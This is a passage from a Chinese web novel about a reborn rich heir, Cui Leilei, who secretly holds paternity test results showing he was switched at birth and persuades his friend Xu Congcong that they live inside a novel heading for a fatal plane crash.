垂首瞥了眼自己的手,沈谦止住回想突兀却又自然的出现在脑子里的某些画面,唇角紧抿,带着些怒气。
在没有调查清楚玄而又玄的重生之前,他是不愿泄露自己的身世。
毕竟崔家对他来说,跟沈家也没有任何区别。因为沈谦大概真如算命先生说的那样,是天煞孤星,没有亲缘。
所以目前算白白便宜一群富二代了。
遮掩住眼里带着的伤感与怒火,沈谦冷声点评了一句:“倒是一群挺团结的富二代。”
扪心而论,A总说话声音挺好听的。音色低沉响亮,仿若缓缓拉动的大提琴,带着天然的磁性魅惑,甚至细细品味,还有些情感饱满,令人遐想。
比如此刻团结一词就用的挺好的。
厉总还没品出个一二三四来,就见对方已经迈步离开了,速度之快,像是背后有狗撵一样。见状厉总嘴角抽抽两下,觉得圈子里评价没错这位A总,果真是不爱交际,不喜言辞,恨不得是一头孤狼。
感慨着,厉总跟着动身。压根没有察觉到据说第一次前来燕云会馆的A总,对馆内路径娴熟无比,如在自家,更加没有发觉对方前进的方向是顺着崔磊磊一行人逃窜离开的路径。
而另一边跑回自己专属厢房的崔磊磊确定门关上了,立马以壮士割腕断臂的悲壮之气从沙发上爬起来,开口:“兄弟们,快,要老命了,你们赶紧去兑换现金,免得接下来没钱花了。”
刚想续摊的富二代们错愕不已。有人没忍住脱口而出:“你哥难不成还真告状?”
“小金子,你傻啊!回想一下老厉的站位,他堂堂燕城太子爷今天不是中间C位!”崔磊磊几乎要被自家发小的愚蠢给气到昏厥,“足以见证他旁边那个年轻人牛逼!可是其他城市的太子爷,咱们起码都有个印象吧?独独这位,长得那么好看的,我都不知道是谁。那问题不就严峻了?”
说话间崔磊磊想起自己从厉叔叔嘴里屡次听到的喜静一词,吓得鸡皮疙瘩都冒了出来。
一听到这合情合理的分析,有消息灵通的二代立马压低了声音,“你怀疑是那个空降燕城的互联网大佬A?”
众人闻言恍恍惚惚,有些依旧眉眼间带着困惑:“那也不对啊,就算那个A是来势汹汹,可在咱们燕城这一亩三分地,厉家太子爷需要这么礼待吗?俗话说闯江湖也是要拜码头,厉家在燕城扎根了几百年了,一直传承不息。”
许聪聪环视众人一圈,视线落在了紧张兮兮的崔磊磊身上,静默了半晌后,幽幽开口:“你们别往外说,他还是海城沈家的大人物。沈家用江湖话说起来算武林盟主,红顶商人。”
言简意赅的解释了沈家的地位后,许聪聪迎着众人侧目的视线,声音更加压低了几分,“他跟沈家的联系你们长辈们都打听的到。因此我接下来要强调的才是重点。你们回去告诉长辈,千万别在他面前提沈家。”
崔磊磊闻言讶然不已:“为什么啊?”
“A总身世比较传奇。”许聪聪毫不犹豫诉说自己从外婆家知晓的消息,“据说他的妈妈是沈家嫡支的千金小姐。小姐姐比较时髦,喜欢穷小子,不愿意联姻,直接叛出沈家。但后来不知道怎么回事,带着孩子回来了。因为沈家太夫人疼闺女,最后这孩子便论了沈家的辈分上了族谱。”
“但好景不长太夫人去世,据说沈小姐也好像疯了还是怎么了。渐渐的沈家就没人愿意提A总了。后来A总好像还被其他人领养过。可不知怎么的,又被送回来了。”
许聪聪说着一摊手,总结:“最后便A为代号。”
所有人听完这段秘闻后互相你看我我看你,皆觉得自己是小小的脑袋,大大的问号。
崔磊磊眨眨眼,颇为真挚的看向许聪聪,“这身世不是挺清楚吗,是沈家的外孙啊,哪里传奇了?”
“我也不知道,但是我舅妈就是这么告诫我们小辈的。毕竟她不能给我们错误信息啊。”许聪聪说着横扫周围一圈人,目光带着些阴狠:“我是看在你们跟石头都算发小的份上。别惹了A总的禁忌,提及沈家。”
瞧着许聪聪又又露出一副疯狗的狠厉决然模样,先前开口的小金子率先开口保证道:“许大少爷,懂!这些规矩我们还是懂的,知道您老人家都是看在磊磊的份上,才乐意帮我们一把。我马上回家跟我爸邀功。”
“等等,咱们知道这个消息算戴罪立功了?”崔磊磊闻言,一脸机智的开口。
众人齐齐看了眼许聪聪,不约而同的点头,“肯定算。”人脉消息,也是生意商场重要的一环。许聪聪能够直接把自己外婆家的消息说给他们听,不就是为了崔磊磊嘛!
崔磊磊闻言开心不已,当即也不继续续摊了,直接散场,拉着许聪聪回家。
辗转反侧了一晚,崔磊磊拟定好N条戴罪立功or坦白从宽的好计划,岂料接下来三天都没看见自家大哥的身影。
整个崔家,甚至整个燕城纨绔圈风平浪静。
崔磊磊眉头紧蹙,小心翼翼的给厉总的双胞胎孩子发了视频邀请,叙旧后旁敲侧击着:“宝宝贝贝,你们的爸爸最近有没有跟崔哥哥的大哥聊天啊?”
宝宝奶声奶气的摇摇头,“爸爸最近都上班,没有时间聊天天。”
“哥哥,爷爷说,姑姑和大哥哥是一对,以后要生小小宝宝和小小贝贝,对嘛?”贝贝激动的开口问自己的好朋友崔磊磊。
崔磊磊闻言亢奋点头,还捏了捏拳:“我们要一起努力哟。”
许聪聪沉默的看着三人制定游乐园计划为崔宝诚追妻服务,不由得嘴角抽抽。
而另一边侦查敌情结束,崔磊磊拉着许聪聪奔向崔父,立马大谈特谈相关的秘闻。
许聪聪莫得感情的删减几句,免得崔磊磊故事化。
崔父揉着狗头哦哦哦的点头。瞧着崔磊磊说完了,他才不急不缓的开口问道:“你知道你哥有燕云会馆的股份吗?”
正打算喝口茶润润嗓子的崔磊磊瞪眼。
崔父当机立断放自己宝贝狗孙子自由,抽出狗绳,挥舞的哗哗作响,恨铁不成钢:“你,还有你们这些兔崽子,把监控当摆设吗?说你们蠢还是精明?你哥不发火就等着你去坦白呢,你还敢琢磨着邀功?是不知道死有几种写法吗?”
看着怒火中带着警告的老爸,崔磊磊闻言立马拽着许聪聪撒腿就往楼梯跑,都顾不得乘坐电梯。
回到属于自己的3楼,崔磊磊确定把套房门关严实了,才狠狠松口气,后知后觉的感慨:“对啊,竟然还有监控。”
许聪聪压下眼里对父子情谊的羡慕,娴熟无比的往书房走,“还是抄书吧?拿着罚抄的成果去跟崔大哥坦白,没准还能争取宽大处理。”
听得好友把自己后路都安排的明明白白,崔磊磊耷拉脑袋往书房走,边走边抑郁:“都是发小,我就跳个舞,应该没什么大事的。我哥还是老古板,管的太严了些。”
许聪聪闻言瞥了眼步步紧跟的崔磊磊,无奈的笑了笑,直接翻人旧账:“大哥对你够好了,管得严也是事出有因对吧?”
据说崔磊磊小学读的是国际学校,文艺汇演跳舞被某个不长眼的狗东西看上了,崔大哥当年气血方刚又未成年就直接废了对方命根子,以致于没了国外名校保送资格。也是因此,崔家夫妇哪怕再重视文凭,也没有跟随商贾圈子的主流做法——送崔磊磊出国镀金。
崔磊磊瞟了眼干脆坐在书桌上的翻书的许聪聪,傲然的点点头,“大哥对我好,聪聪你也对我好。”
“拍马屁没用,你罚抄专用的A4纸呢?”
“应该在下面柜子里。”崔磊磊开口,“你先找着,我给你端一碗爱心汤。”
许聪聪瞥了眼说完就往外跑的崔磊磊,无奈的摇摇头,自己半蹲着身,拉开了柜子。看着堆砌的乱七八糟的漫画杂志下鼓鼓囊囊的书包,许聪聪也没多想顺手就拿了出来放在一旁的地毯上。
等把整个柜子翻了一通没看见A4纸,许聪聪视线缓缓看向看起来有些菱角
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的书包,眉头一挑,直接拉开了拉链。
崔磊磊端着饮料甜品回来的时候,就见许聪聪飞快把门反锁,甚至还启动了电子锁,将整个套房的门全都锁住了,甚至还把他拖到了书桌前,坐在了自家大哥用来检查功课的专用红木椅上。
顷刻间,崔磊磊如坐针毡,颇有种在受刑的煎熬,尤其是许聪聪的脸色异常的难堪,当即结结巴巴的开口:“你……你怎么了?我……我告诉你啊,我们家可没隔音的,不许欺负我。”
说完下一秒,崔磊磊就见一只手就伸到了他眼前。
对方手背上都能够看到清晰可见的血管,像是在无声诉说此刻手主人激动的心情。
迎着崔磊磊错愕的样子,许聪聪冷声,“这份,不,这些亲子鉴定是谁的?”
此言不亚于晴天霹雳,把崔磊磊震了个傻。他下意识的伸手就去抢许聪聪手里的亲子鉴定,边愤怒大吼:“许聪聪,这隐私懂吗?”
听到崔磊磊这话,许聪聪紧绷的弦彻底断掉了。看着还敢说隐私的好友,他能笃定这亲子鉴定真是崔磊磊的,当即许聪聪气得面色由青转紫,压低了声音:“崔磊磊你是疯了吗?你的房间虽然助理他们不会每天清扫,也不会随意动你东西。但你怎么敢随意的就放在漫画本下面?”
崔磊磊瞳孔一缩,浑身僵硬。他也说不准自己此刻是什么心情,是期待助理发现还是不发现。
没错过崔磊磊眼里闪过的忧郁,许聪聪咬牙:“不对,我看崔叔叔跟你相处,跟从前没什么区别啊?你怎么脑子抽了想要做亲子鉴定?”
“就是没什么区别我才要做亲子鉴定!”崔磊磊闻言定定的看了眼满脸都写满了震惊紧张担忧等等情绪的好友,想想人在小说里作为崔磊磊忠实走狗的悲惨结局,一咬牙,干脆破罐子破摔,坦诚相告:“我……我不是跟你说我神经病吗?就是忽然间做梦梦到了这事,甚至还把对方名字梦的清清楚楚的。所以我才找你找人,才做亲子鉴定。”
说着崔磊磊不好意思的垂了垂眸。他还是不敢把所有内容倾盘而出,但……但真真假假的,基本上也说了个彻彻底底。
想着崔磊磊还小声的补充了一句,扬着希冀的眸子看向许聪聪,“咱们都是年轻人对不对?你该懂的,我不是神经病,那没准就是激发了异能。”
说完崔磊磊哽咽了一声,“亲子鉴定已经证明我梦一半是真的,剩下一半等狗仔王把沈谦找到了。”
许聪聪听到这声直白无比的解释,气得抬手扣住亲子鉴定报告,“还异能,我看你是智障了!叔叔阿姨还有大哥多疼你,你没事自己瞎折腾什么!”
猝不及防的听到这话,崔磊磊错愕的看着自己的好友竟然手撕报告,急得直接站起来抢夺。因为动作幅度过大,金贵的红木椅子和实木地板相触摩擦发出尖锐的声音。
“许聪聪,你疯了啊!还给我!”
“你才疯了,闲的没事找死吗?”许聪聪竭力避开崔磊磊的争夺,用尽全力去撕亲子鉴定报告,仿若把这个明面上的真相给撕破了,依旧能够维持住自己心中美好家庭的模样,维持住自己好友的天真快乐,“你家有大哥在,又不涉及核心股权分配。你拿到手的也就这么些钱而已。”
越说许聪聪越激动:“现如今私生子都有继承权了,更别提你这种了,肯定算名正言顺的养子,有名正言顺的继承权!你要是觉得对不起沈谦,那没事我给他钱,十亿不够二十亿都成,我妈留给我的基金我可以全部拿出来,但是你不能丢了崔家少爷的身份,否则以后怎么办?”
“一旦没了崔家的庇护,贫穷而貌美的人会有什么遭遇你知道吗?”许聪聪狠狠的深呼吸一口气,看着崔磊磊呆愣的瞬间,一狠心直接撕裂亲自鉴定报告。
厚厚的一叠撕扯起来,甚至还不经意间割破了手指,但此刻身体上的疼痛远不如心灵的疼痛。
作为一个发誓要豁出命护着崔磊磊的人,他此刻竟然无能为力,甚至还丑陋的逼着崔磊磊去认清现实:“我认可能进许家大门的大哥许铮铮,他妈就是被那啥的,人还是影后呢。但终究要攀附渣男才能生存下来,才能报复狗杂种。”
“你呢,你除了脸还有什么?”
这一字一字的似刀刃,刺激的崔磊磊浑身颤栗。
9. 且听我现场瞎编
丑陋的,带着欲、念和贪婪的一张张狰狞的脸本该浮现在崔磊磊眼前,让他恶心的直接想呕吐,愤恨的想要捏拳去打,甚至让他畏惧让他惊恐的大声求教。可偏偏这一刻,不管是这辈子还是上辈子几乎深入骨髓的某些画面,曾经让他厌憎的画面通通没有出现在崔磊磊的脑海里。
充斥在他脑海里的是重生后父母疼爱,兄长呵护,朋友真心相待的美好画面。这些画面恍若阳光一样,驱散了崔磊磊内心的阴鸷与惶恐,悄然无息的让他长成一个心理健康,积极快乐,又阳光的崽。
因此小说最后家人朋友凄惨的结局,才是崔磊磊最为害怕的事情。
回想似乎烙印在脑海深处的结局,崔磊磊紧张的整个人都蜷缩起来,但却硬着逼自己目光直勾勾的看着神色激动的许聪聪。克制住身体的应激反应,他一字一顿,尽量让自己吐字清晰,字正腔圆,铿锵有力:“我除了脸,还有疼我的爸妈大哥,也有像你这样的好朋友!因此我才要调查个清清楚楚,因为我不想你们出事!”
最后一声,崔磊磊几乎是撕心裂肺的从内心深处喊出来,带着孤掷一注的绝然,以致于整个书房内都回荡着悲伤哀泣的氛围,久久不曾散去。
听得传入耳畔真挚的话语,许聪聪咬着牙,直到鼻翼间弥漫着淡淡的血腥味,才回过神来,神色带着复杂看着浑身战栗的崔磊磊,看着硬逼着自己挺直身板的崔磊磊,思绪来回翻腾。
最后脑海闪现过的万千言语,还是化作他这个人利益熏心的权势视角:“崔家怎么会出事?崔大哥接管之后禾悦发展的不是很稳妥吗?天仪服饰这些年趁着国货崛起的东风,都快成国内服装行业的top1了。且阿姨每年还把利润的百分之五十拿出来做慈善。甚至不是还有谣传你是个gay,你无法继承家业,有上交国库的打算吗?”
顿了顿,许聪聪沉声总结:“也算有社会担当的大企业了。政府也不会眼睁睁的看着天仪服饰破产倒闭。”
听得自家发小下意识的反问毫不犹豫诉说出崔家两大集团的发展方向,崔磊磊惶恐中仿若抓到了一丝希冀的光芒,眯着眼看向崔磊磊,沉默三秒,就立马毫不犹豫回答:“因为我们生活在小说的世界里。所以你张口闭口就是十亿二十亿,丝毫不眨眼的。”
猝不及防的听到这话,许聪聪垂首看着自己撕裂开来的碎片,心跳噗通加快,面色都带着惨白,结结巴巴的开口问道:“你……你不会说这是抱错文小说形成的世界吧?”
作为娱乐圈大鳄之子,他哪怕游手好闲,但耳濡目染之下还是知道些狗血剧本的。小说乃至影视,对抱错这个梗都很追捧,因此天生自带撕逼的热点——生恩养恩到底哪一个重要。
崔磊磊闻言一噎。
不愧是他好友,能立马接得上他脑回路。
崔磊磊心中甚至涌出一丝的窃喜光芒,但作为一个重生崽,他此时此刻却不得不恶毒一回。因为他不能全盘托出,免得许聪聪对沈谦先入为主的有了偏见,他想崔家和和睦睦的。
手死死掐着掌心,崔磊磊垂首幽幽的盯着亲子鉴定的报告,哽咽的开口:“不是,我……这小说你是主角,书名叫《制霸娱乐圈》,是走逆袭流复仇向的无CP文。”
万万没想到竟然会是这个答案的许聪聪瞠目结舌,“崔磊磊,你再说一遍,你看着我的眼睛再说一遍。”
说到最后,许聪聪抬手按住自己噗通乱跳的心脏,逼着自己死死的盯着崔磊磊。
见状崔磊磊头皮发麻,只觉得一股寒气哧溜一下从脑髓传遍了四肢百骸,冻得他浑身思绪僵硬。可转眸间看见散落在地上的亲子鉴定报告,他就忽然间觉得这些碎片带着名为智慧的buff悄然无息的传入崔磊磊的脑子里,一点点的激活了崔磊磊扭转剧情的信心,改变命运的决心。
崔磊磊早已做出了选择,要跟父母哥哥诉说身世。
所以,此时此刻没有什么可惶然害怕的。
想着,崔磊磊昂首挺胸,还抬手擦了一把自己脸蛋上的泪珠,眉眼间透出一股决然的霸道之气。眼尾一挑,崔磊磊微微眼眸一眯,装出一副犀利的模样,反过来带着审视打量了眼许聪聪,声音还带着些激动过后的喑哑,“我也想不通怎么你是主角呢?”
顿了顿,崔磊磊紧绷着脸,愤愤开口,语速噼里啪啦似倒豆子一般,尽量不给许聪聪留思考的时间,只能顺着他给出的信息走:“小说就从你替我出头教训柏川他们开始写,写你身为娱乐圈太子爷的张狂肆意,桀骜不逊,肆意妄为。也写许铮铮施恩,救下柏川他们。你们兄弟两形成对照组。他精明能干,而你这个正统继承人是个纨绔子弟,仗势欺人。为以后许家被许铮铮霸占,你被欺负埋下伏笔。”
——许铮铮的属性应该算病娇霸总,按着崔磊磊脑子里的记忆,从他的角度来看的确不是个好人。一方面借着许聪聪大哥的身份,暗中撺掇着崔磊磊,另一方便却偷偷把消息卖给沈谦想要得人情。后来更是想要得到沈谦。等崔家正式破产后,这个狗杂种还借着舆论优势,利用营销号带节奏,利用那些无脑的粉丝上门闹事,逼得大哥连份正常的工作都找不到。
若不是崔家还有些最后残存的人脉关系,若不是崔家昔年曾经也恩惠过不少人,大哥连……连工地搬砖的工作都找不到。
所以给人扣黑锅,恶毒反派崔磊磊是毫不犹豫的。
脑海浮现相关的剧情,崔磊磊还重重的哼了一下,“许铮铮就是大坏蛋。不信的话你自己好好想想你的名声,他是不是踩着你嚣张跋扈的名声衬托他的精明能干。且他知不知道自己真实的身世?虽然许伯伯的确是个渣渣,可替换到古代,许伯伯作为个皇帝他也还是嫡庶分明的,其他私生子都比你小十岁,可为什么许铮铮会比你大?”
一字一顿的反问着,崔磊磊道:“因为他压根不是许伯伯的孩子。所以你舅舅他才能够容忍许铮铮,你也才能点头让许铮铮以私生子的身份进许家大门,是不是?”
“可他是个白眼狼,趁着许伯伯患了癌症签了对赌协议,坑了许家,甚至还假借你的名义逼人吸、毒,他自己反倒是另立门户。他妈妈恨急了儿子,想要给许家证明,最后只能留下遗书自杀。也是因此引发轩然大波,所以你许聪聪在舆论上才有喘息的机会。”
说着小说里真实发生的剧情,崔磊磊咬牙切齿,“这个白眼狼!”
看着人咒骂着许铮铮,带着铺天盖地的怨恨之气,甚至一张俊脸都扭曲起来,许聪聪心中咯噔一声,眉头紧拧成川。
崔磊磊压根藏不出事,比如这亲子鉴定比如“脑子异能”,这种按着常理正常人都会埋藏心理一辈子的事情,到了崔磊磊这里却是能够一股脑儿诉说的干干净净的。除却对他许聪聪的信任外,也是崔磊磊憋久了,没准早就憋坏了,恨不得找人分享一下这个小秘密。
所以大哥真有问题?
就崔磊磊不记仇的性子,哪怕人初恋那个渣男跟闺蜜搞在一起,对方愤怒的吃吃喝喝买买买后,也就抛之脑后了。
他许聪聪从来没有在崔磊磊眼里看到过憎恨,看到如此浓郁的憎恨,以致于一双漂亮的眼睛都染上了阴鸷。
与此同时崔磊磊迎着许聪聪的打量,不躲不闪,继续开口诉说自己编故事的重要缘由之一:“期间穿插了你的好朋友我,我们崔家发生真假太子爷的事情。你想要警告真太子爷沈谦,但发现他就一个老实人,跟大哥一样的,看起来严厉也其实傻憨憨的。所以也就没有多想。我们一家人和……”
紧张的吞咽了一下口水,崔磊磊在心理祈祷各路神佛原谅他的胡说八道,但唇畔却是用词无比残酷,“我们和厉家人一起出
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去玩。毕竟有孩子比较容易缓和氛围。厉家也想要给孩子们建立公共秩序感,我大哥向来主张勤俭持家,新认祖归宗的二哥也是个节约的主。因此我们就坐飞机。但飞机……”
许聪聪看着说着说着又情绪激动起来的崔磊磊,看着人向来肆意的双眸此刻满是惶恐不安,刹那间心如坠深渊之中。
恨不得反手直接给自己一巴掌,怨恨自己为什么要逼崔磊磊开口诉说。
心理懊悔着,许聪聪顾不得其他,连忙抬手去拍崔磊磊的后背,尽量轻柔的去安抚,“没事的,想不起来就不去想了。”
感受到后背传来恰到好处的拍抚,让人有一瞬间仿若回到了婴儿期间,享受到母爱的宽慰。崔磊磊偷偷瞄了一眼急得面色灰白的好友,心中再一次偷偷道歉。
红着脸,崔磊磊激动的哭出声音来,“我们全都出事了,飞机出事了我们都……都……都死了!可我却记不得航班!”
许聪聪手僵在半空,不可置信的看着崔磊磊:“什么?”
“我记不得航班!”
崔磊磊恨不得把自己脑子里的海水咣个干干净净。哪怕他重生在平行世界里,但是作为一个重生者,他竟然没有任何一点金手指。不求过目不忘,但也求能把“梦”做个明明白白。可偏偏小说竟然不写航班号。
看着懊悔的要以脑撞墙的好友,许聪聪百思不得其解,急忙道::“你纠结什么,你不去就成啊!实在不行,算算日子,你装瘸,伤筋动骨一百天不就避开了吗?”
诉说着自己下意识的反应,许聪聪道:“不上飞机办法千千万万,别急!”
“不行,这个主意我想过了,这是下下策。”崔磊磊闻言毫不犹豫:“助理不提,飞机上还有其他人啊,上上策是让飞机停飞!”
说完,崔磊磊昂头看向许聪聪,面带崇拜:“我想让飞机停飞,这是我找到沈谦后的下一步计划。本来下下步计划是旁敲侧击提醒你小心家里的白眼狼的。可现在你男主光环biubiu的亮起来了,那么作为大男主,你赶紧想办法解决掉。”
大男主许聪聪:“…………”
许聪聪感觉自己喉咙都被人掐住了,又像是被火灼烧过一般,稍微唇畔张一下,都疼得难受。可偏偏迎着崔磊磊望过来的希冀目光,他又无法开口拒绝。
毕竟飞机上的确有其他人啊。
他一开始的确没崔磊磊这般心地善良,可崔磊磊提出这个明晃晃的现实,那么他也的确做不到听之任之。因为几百条人命,背后没准有几百个像崔家一样幸福的家庭会破碎。
但问题的关键是……
许聪聪想着,黯然垂首:“我也就一个普普通通,甚至还纨绔无能的富N代吧,没有能力能够一声令下让航班停飞。”
崔磊磊闻言眼泪不争气的又掉了下来,“没事的,等我找到沈谦,或者我找一个良辰吉日我跟爸爸妈妈还有大哥说。看他们能不能想办法联系上航空局。再加上我这些天多喝些核桃牛奶补补脑子,没准……没准儿能够梦到确切的日期。”
“可……”
看着好友貌似又担心他在崔家地位问题,崔磊磊一昂头把伤感的眼泪逼回眼眶,拉着许聪聪立马滔滔不绝道:“男主别担心我家的事情了。我们家拎出来单独看妥妥能够成小甜饼的,你们家才是龙潭虎穴。想想你爸渣男风流的性子,以及为了夺权你二叔还能追杀你这个老爷子指定的继承人。这些因素叠加在一起,你用脚丫子想想都知道妥妥小说是男主的配置。你赶紧支棱起来!”
大男主许聪聪恍恍惚惚,红红火火,看着好友连笔带划诉说他遭遇重创后蜕变成长的故事,没忍住问:“你确定说的霸总是我,不是瞎编的?我有点不太相信以我的智商能够干如此霸道的事情。”
崔磊磊:“…………”
10. 深情的告白
崔磊磊目瞪口呆的看着许聪聪,发现人眼里除了担忧外,没有半点自己作为主角的欣喜,整个人异常的沉稳,倒是真有几分商业霸总冷静的模样了。
可偏偏小说里许聪聪却是崔磊磊的无脑拥趸,各种给沈谦一行人使绊子,几乎达到了六亲不认的地步,像是崔磊磊的一条疯狗,逮谁咬谁。
想着书里各种人士对他们两关系的揣测,崔磊磊手死死抓住红木交椅的扶手。握住了超具有份量的扶手,感受到触感的冰凉,冷硬,崔磊磊觉得自己一时间像是有了依靠,哪怕接下来面临山崩地裂的结局,他也能够岿然不动。
于是他决定直接问出心中的困惑。毕竟若是许聪聪真暗恋崔磊磊,那哪怕许聪聪傻了点,但是相比去勾、搭沈谦这种下下策,崔磊磊也是可以接受和自己好朋友在一起的。
“聪聪啊,你……你那个……”
想归想,但一开口崔磊磊发现自己忽然结巴了,说话都捋不直舌头,“那个……那个为什么……为什么对我那么好?”
看着忽然脸蛋爆红的崔磊磊,许聪聪眼里闪过一道狐疑,旋即侧眸看了眼紧拽着扶手的手。此刻崔磊磊的白皙的手背已经青筋暴出,直接诉说着人此刻心情的忐忑紧张。
找到了证据,许聪聪开门见山直问:“你脑子里在胡思乱想什么?”
“你都愿意把阿姨留给你的基金拿出来帮我。”崔磊磊听得传入耳畔冷冰冰的质问声,气得眼眸一闭,一跺脚,说了出来:“你是不是喜欢我?”
许聪聪猝不及防的听到这意料之外似乎又在情理之中的话,幽幽的看了眼闭着眼的崔磊磊,沉默。
倏忽间书房陷入诡异的死寂。
崔磊磊许久等不到回复,当即便觉得自己的心尖像是被羽毛划过一般,痒得难受,让他不得不睁开眼睛,面无表情的盯着许聪聪,气势汹汹逼问道:“是男人你爽快点好不好?”
下一秒崔磊磊又觉得自己先前话太过那啥赌气意味了,急急忙忙加了一句:“喜欢就说一声,跟你在一起没准咱们能负负得正。要是你不喜欢的话,我没准接下来琢磨着联姻呢!”
许聪聪面色沉沉的盯着崔磊磊,看着对方一双眼尽是他的身影,嘴角缓缓勾出一抹微笑,压下心中掀翻的惊涛骇浪。
毕竟崔磊磊一双顾盼生辉的凤眼,看谁都能自带情深款款的buff。被人注视着,甚至还能产生错觉,觉得自己便是人的整个世界。可现实却很残酷,崔磊磊的话语更加残酷,却也极尽温柔。因为他许聪聪不算联姻备胎,反而是首选。
这个首选结论足以抚慰许聪聪内心被残酷现实扎出来的伤疤。
“我说喜欢你,你陪我去闯许家的龙潭虎穴吗?”
哪怕自己早已做好了准备,但一开口声音还带着些艰涩,因此当察觉到声音带着的颤抖战栗时,许聪聪逼着自己不得不缓缓开口,拿出大男主应有的从容气场:“哪怕我说过不要许家的家产,但也有人虎视眈眈的觊觎着。我的处境很危险,以及若是小说是真的话,此刻我无力改变破产剧情,你要陪着我吃糠咽菜,流落异国他乡。”
像是能够遇见未来惨兮兮的日子,崔磊磊闻言还是纠结了半晌,才郑重的开口回答:“还……还是愿意的,其实我能够吃苦的。毕竟咱们是好兄弟嘛,有福同享有难同当!”
许聪聪只觉得自己脑子里有烟花瞬间炸开,将他晦暗的世界晕染的五颜六色,灿烂至极。任由自己开心过后,许聪聪压下埋藏在内心深处的那一丝旖旎念头,薄唇轻启,半真半假道:“我曾经是对你有好感,毕竟你豁出去了性命救我,自己在ICU躺了大半月。但我脑子英雄救美的美好情愫,在跟你相识之后就彻底被狗啃了。”
崔磊磊闻言呲牙裂目。
“这世上除了爱情,还有友情亲情。你既然脑子里有小说,那也该知道我对家庭的不信任,对婚姻的不信任。”许聪聪铿锵有力的诉说自己对待崔磊磊的最终态度:“我这辈子或许真的是孤独终老的下场,因此我呕心沥血的把你当儿子一样教养长大。”
听到传入耳畔始料未及的答案,崔磊磊觉得自己整个脑子都瓦特了,以致于发音都不太标准,“蛾……子?”
“哪怕我不成器,但我知道的一切我所享有的一切能够毫无保留的跟你分享。”许聪聪看着面色来来回回变化的崔磊磊,倏忽间诡异的噗嗤笑了一声,傲然的开口:“我的遗嘱继承人也是你。怎么样,爸爸够爱你吧?”
轻描淡写的说完埋藏心中的爱,许聪聪神色淡然的开口:“咱们还是聊正经事吧。”
边说,他缓缓蹲下捡着碎纸片,问:“碎纸机在哪里?算了,直接撕碎一点,冲马桶吧。我看那些刑侦片都这么销毁证据的。”
听得传入耳畔一声声带着毁尸灭迹狠厉的话语,崔磊磊恍恍惚惚的抽口气,垂首看看撑着自己屹立的交椅扶手,狠狠喘口气。
逼着自己冷静下来后,崔磊磊垂首俯瞰着捡碎纸片的许聪聪,还是没忍住怒吼出声:“我差点把你当男朋友,你竟然想当我爸?!”
“许聪聪,你胆子挺肥啊!”
许聪聪捡着碎纸片的手一顿,缓缓抬眸斜睨了眼崔磊磊,难得冷着脸,“我胆子不大,能抄你的数学作业吗?能仿你爸的签名替你签字吗?”
听到如此胆肥的实例,崔磊磊一噎。
“现在我是大男主,你听我指挥。”诉说着自己的身份,许聪聪自觉自己难得的迸发出一丝名为智慧的光芒,一脸睿智的开口:“我先回家探探虚实,最多一个星期时间。在这段时间内,你必须给我牢牢守住自己的秘密,不许外泄出去。”
“为什么啊?”崔磊磊闻言也没有任何尴尬之色,哼哼唧唧蹲在许聪聪身边,道:“我等不到狗仔王的回复,就打算这两天跟我爸妈他们说了。他们人脉关系多,肯定能够找到沈谦的。”
“然后呢?”许聪聪看着双眸带着希冀的崔磊磊,丝毫不压抑怒火,问:“你就算不替自己考虑,能不能替大哥考虑一下?”
说着,许聪聪话语不停顿的,恍若倒豆子一般噼里啪啦的倾倒而出:“沈谦是个人,一个拥有继承权的人!哪怕集团兄弟俩一人一个,但也有市值多少的区分。他万一要求均分怎么办?可我们商贾人家,一旦股权诸子平分,就会彻底丧失控股权了,知道吗?”
诉说着自己从小耳濡目染见到的夺权实例,许聪聪手紧紧的捏着亲子鉴定报告的碎片,语重心长:“崔磊磊,哪怕你说沈谦老实,但是他接受的教育,他认识的继承思维跟我们不一样呢?他若是要求平分,到时候怎么分?禾悦集团和天仪集团都是叔叔阿姨的心血。万一股权旁落其他人,你能心甘情愿吗?”
崔磊磊瞬间沉默,有那么一瞬间他恨不得鼓起勇气全盘脱出被塞进脑子里的小说,可到底理智还是遏制住了这样的念头。
因为他也怕,怕真的……真的会因不患寡而患不均这个流传至今的人性,才最终促成了沈谦被送去联姻这件事。
抑郁的垂首,崔磊磊声音都低了些,“那你有完美解决的办法吗?”
“没有。”许聪聪应的干脆无比,“等我回家查探查探。确定你脑子没有病后,我才有心情研究其他。”
听得话语中带着的关心,崔磊磊颇为不好意思的摸摸脑袋,思忖了一会儿,面色凝重的开口:“我最多给你五天时间。不然没有时间研究飞机的事情了。”
说完自己的时间期限后,崔磊磊又担忧上了,面色忧郁的看着所有心思都写在脸上的好友,语重心长叮嘱道:“你可千万要冷静要低调,要学会忍辱负重,别让自己成为某个人的对照组,也别让自己以身犯险。”
许聪聪看着殷切叮嘱的崔磊磊,毫不犹豫点头。
敲定好大事后,崔磊磊微不着痕的吁口气,也不用把纸片毁尸灭迹,直接塞进了自己的书包里。拉上拉链后,崔磊磊还机警的翻出一个小铜锁,给上了锁。
把玩着精致的小铜锁,崔磊磊瞥了眼面色依旧有些凝重的许聪聪,道:“你以后还是要冷静些,别动不动就想着毁掉证据。不然我又得去打扫我爸妈的房间从垃圾桶里扒拉样本了。”
许聪聪闻言猛得一瞪眼,“你们家怎么发现被抱错的事情的?”
崔磊磊讶然一瞬,心虚的眼眸闪了闪,道:“就……就一笔带过,好像说有个快递上门,内含亲子鉴定报告。”
“你傻啊,要是没有亲子鉴定报告叔叔阿姨能信吗?我是说其他人怎么拿到他们的头发?”说着许聪聪急得连脖颈都红了起来:“说句现实的,搞房地产和娱乐圈是有点信玄学的。更别提叔叔更是出了名的信佛道,每年抢头柱香。那他肯定不会随随便便让自己的头发被人拿了去。玄学小说做法都是拿头发啊!”
崔磊磊听到这话,只觉得整个书房倏忽间都带着紧张悬疑的气息,下意识的抱紧了书包,小心翼翼的问:“你……你是怀疑我家助理有……有内贼?”
“相比家里,公司的保洁更值得注意。”许聪聪压低了声音,带着厌恶开口:“我那个渣爹经常公司搞事,前段日子还有个人不知羞耻的翻腾那啥垃圾桶寻找那啥,利用科技手段怀孕碰瓷呢。”
崔磊磊完全不想知道含糊其辞的那啥是什么玩意,紧张兮兮的开口:“那……那我先去大哥那里打探打探情况。正好跟人检讨。”
许聪聪郑重的点头,“没错,咱们兵分两路。等我最终确定你脑子里小说没错后,咱们若是想不出好主意来,必要的时候我授权你把这件事告诉崔大哥。”
目光带着决然的信赖,许聪聪一字一顿道:“崔大哥肯定不会把我们送研究院给解剖了,以他的能耐没准会有好主意。”
